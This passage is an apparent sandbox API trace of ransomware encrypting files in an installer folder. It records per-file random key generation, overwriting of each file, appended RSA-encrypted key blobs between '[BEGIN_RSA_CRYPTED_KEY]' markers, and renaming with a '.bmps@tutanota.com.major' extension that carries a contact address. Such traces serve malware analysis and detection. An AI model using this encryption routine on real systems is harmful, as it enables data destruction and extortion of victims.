lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0139.683] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0139.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0139.683] GetLastError () returned 0x0 [0139.683] SetLastError (dwErrCode=0x0) [0139.683] GetLastError () returned 0x0 [0139.683] SetLastError (dwErrCode=0x0) [0139.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0139.683] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0139.683] GetLastError () returned 0x0 [0139.683] SetLastError (dwErrCode=0x0) [0139.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb68 [0139.683] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb68 | out: hHeap=0x570000) returned 1 [0139.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0139.683] FindNextFileW (in: hFindFile=0x5b5530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0139.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0139.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.684] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.684] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1045\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0139.684] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0139.684] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0139.684] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0139.684] CreateFileW (lpFileName="\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c4 [0139.684] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18264) returned 1 [0139.684] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x5ed868 [0139.684] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x5f1fc8 [0139.684] ReadFile (in: hFile=0x4c4, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0139.703] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.703] WriteFile (in: hFile=0x4c4, lpBuffer=0x5f1fc8*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f1fc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0139.703] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.703] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f1fc8 | out: hHeap=0x570000) returned 1 [0139.704] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4758 [0139.704] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.704] WriteFile (in: hFile=0x4c4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.704] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.704] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.705] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="9CG493eVf0TbsQFcK2BvlRHXNIhcZgx055uqPc8ks9G8G8EyblH5F2oUOsFk5ygi\nvXPlrG48xUCR/qGhQaIT/l+p8W6SYTsP8iUiZmvUZMwZvPAAMirmA2WmFZ4pzxMz\nnRctIHtmxyLPPPgcHhxkQE5frHJ19/BRkHZick0PJf2GBL59tZ4qchd0hsY3Hk+1\nH8GYRzEsin1cjOIbyKWpmvCiL01xkRPCcm1qjD/GuNcU3/WoMnH3vToOgbD4ZtKe\n+mb6ear8kxVVxsiucvniLcWgCQyArCVkjrHtVVyv69H0BzpRkJjgmLGlSxwAKQRj\nsT/cDUljVDpmw5hMaXJgUQ==\n", pcchString=0x2e3f9a8) returned 1 [0139.705] WriteFile (in: hFile=0x4c4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.706] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.706] WriteFile (in: hFile=0x4c4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.706] CloseHandle (hObject=0x4c4) returned 1 [0139.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.707] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1045\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0139.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0139.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0139.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0139.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.709] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.709] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1045\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0139.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0139.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0139.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0139.709] CreateFileW (lpFileName="\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c4 [0139.709] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=82374) returned 1 [0139.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x141c6) returned 0x5ed868 [0139.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x141c6) returned 0x601a38 [0139.710] ReadFile (in: hFile=0x4c4, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x141c6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x141c6, lpOverlapped=0x0) returned 1 [0139.735] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=-82374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.735] WriteFile (in: hFile=0x4c4, lpBuffer=0x601a38*, nNumberOfBytesToWrite=0x141c6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x601a38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x141c6, lpOverlapped=0x0) returned 1 [0139.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x601a38 | out: hHeap=0x570000) returned 1 [0139.738] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x141c6 [0139.738] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.738] WriteFile (in: hFile=0x4c4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.738] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.738] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.739] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.739] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="1yRvDJXE+t5OJM+p626uE9ZhyBxP3zK6lrk1EacoR3nr/rODDlaYNYmJ4x9HheGf\nOEPDmdPESb2rL8mPf3euFmUH9oeQWGuJVI/FYqiMzLKA53Ocv5N3EbZ9dYNcJIge\nbp1pli9TClVFtV+Io0SSkhTKJ+l08oCXByNKMEaqOSHuu/wdhEpLq94ieESDd08d\nNdA6XCT17JkDsNYKFOdz4H1V/+PFJcZDXH0tR4v5bSGOgnb8iW+3wdZrv9Zg8zs/\n8bwwOol+figcfIheWL+TV9twW9ARzsu7V5nDl3pqUvDtJNMbbxct54rGzRuVjMJ8\nWK3wb1tOv0qOiWAnnVcqcQ==\n", pcchString=0x2e3f9a8) returned 1 [0139.739] WriteFile (in: hFile=0x4c4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.739] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.739] WriteFile (in: hFile=0x4c4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.739] CloseHandle (hObject=0x4c4) returned 1 [0139.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.741] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1045\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0139.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0139.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0139.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0139.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.748] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.748] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1045\\eula.rtf", dwFileAttributes=0x80) returned 1 [0139.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0139.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0139.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0139.749] CreateFileW (lpFileName="\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c4 [0139.749] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4040) returned 1 [0139.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfc8) returned 0x5ed868 [0139.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfc8) returned 0x5ee838 [0139.749] ReadFile (in: hFile=0x4c4, lpBuffer=0x5ed868, nNumberOfBytesToRead=0xfc8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0xfc8, lpOverlapped=0x0) returned 1 [0139.813] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=-4040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.813] WriteFile (in: hFile=0x4c4, lpBuffer=0x5ee838*, nNumberOfBytesToWrite=0xfc8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ee838*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfc8, lpOverlapped=0x0) returned 1 [0139.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ee838 | out: hHeap=0x570000) returned 1 [0139.813] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfc8 [0139.813] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.813] WriteFile (in: hFile=0x4c4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.814] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.814] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.814] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.814] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="BpHbF6ITGhkmSsplaa5YfqgveAMDIlIfr092nWDBBCfqsZ8LNGmdMUII2OTBdapK\nhazM5e0bRviW5jK2EYcRBMJ7zNZcCdF4DmiFE4n2DK6zuLJrWqTImFZIva1E4HhY\n2GXg5ew/73xQ3aEfI7agNJFWXyMlp4uvMG0Cwfm0wvQRAYrMoZYOoqVrg+ko9OHN\nyRd3pHrM5u6jjFHvvnhE2pVFfsAINSjOStbu4p5SrNWtOsI6+yDVmgXYfpnkIiiX\naxBiqqhyPzShmOlBINi85u+BL+UD97bgjCh/ePEf8FV850QATIuq+rB/HAxmwpgJ\nixi7E0der7yOdZg9amtaZw==\n", pcchString=0x2e3f9a8) returned 1 [0139.814] WriteFile (in: hFile=0x4c4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.814] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.814] WriteFile (in: hFile=0x4c4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.814] CloseHandle (hObject=0x4c4) returned 1 [0139.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.815] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1045\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0139.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0139.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0139.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0139.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0139.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0139.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc990 | out: hHeap=0x570000) returned 1 [0139.817] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfffa48bd, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5570 [0139.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0139.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0139.818] GetLastError () returned 0x0 [0139.818] SetLastError (dwErrCode=0x0) [0139.818] GetLastError () returned 0x0 [0139.818] SetLastError (dwErrCode=0x0) [0139.818] GetLastError () returned 0x0 [0139.818] SetLastError (dwErrCode=0x0) [0139.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0139.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0139.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0139.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b58f0 [0139.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58f0 | out: hHeap=0x570000) returned 1 [0139.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0139.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0139.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0139.818] FindNextFileW (in: hFindFile=0x5b5570, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfffa48bd, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0139.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0139.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0139.819] GetLastError () returned 0x0 [0139.819] SetLastError (dwErrCode=0x0) [0139.820] GetLastError () returned 0x0 [0139.820] SetLastError (dwErrCode=0x0) [0139.820] GetLastError () returned 0x0 [0139.820] SetLastError (dwErrCode=0x0) [0139.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0139.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0139.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0139.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5670 [0139.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5670 | out: hHeap=0x570000) returned 1 [0139.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0139.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0139.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0139.820] FindNextFileW (in: hFindFile=0x5b5570, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0139.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0139.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0139.820] GetLastError () returned 0x0 [0139.820] SetLastError (dwErrCode=0x0) [0139.820] GetLastError () returned 0x0 [0139.820] SetLastError (dwErrCode=0x0) [0139.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0139.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0139.820] GetLastError () returned 0x0 [0139.820] SetLastError (dwErrCode=0x0) [0139.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0139.820] FindNextFileW (in: hFindFile=0x5b5570, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, 